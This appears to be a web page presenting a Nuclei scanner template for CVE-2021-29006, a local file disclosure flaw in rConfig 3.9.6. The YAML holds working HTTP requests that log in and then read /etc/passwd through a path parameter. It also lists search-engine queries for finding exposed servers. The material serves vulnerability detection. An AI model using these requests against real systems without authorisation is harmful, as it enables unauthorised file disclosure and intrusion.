rConfig 3.9.6 - Local File Inclusion

ID: CVE-2021-29006

Severity: medium

Author: r3Y3r53

Tags: cve2021,cve,rconfig,authenticated,lfi

Description

rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.

YAML Source

id: CVE-2021-29006

info:
  name: rConfig 3.9.6 - Local File Inclusion
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
  reference:
    - https://github.com/mrojz/rconfig-exploit/blob/main/CVE-2021-29006-POC.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29006
    - http://rconfig.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-29006
    cwe-id: CWE-22
    epss-score: 0.09465
    epss-percentile: 0.94172
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2021,cve,rconfig,authenticated,lfi

http:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /dashboard.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: body_2
        words:
          - 'rconfig'

      - type: status
        part: header_3
        status:
          - 200
# digest: 4a0a0047304502203079e3c530d0473dee1940c5dc0d5bccde00ce5bd7c62c3f06bd7acfd7f46570022100b0c4503227b44569b832c4ac4d576dbcbef1985de9cc2aac6821e4eb11cbe4c7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-29006.yaml"

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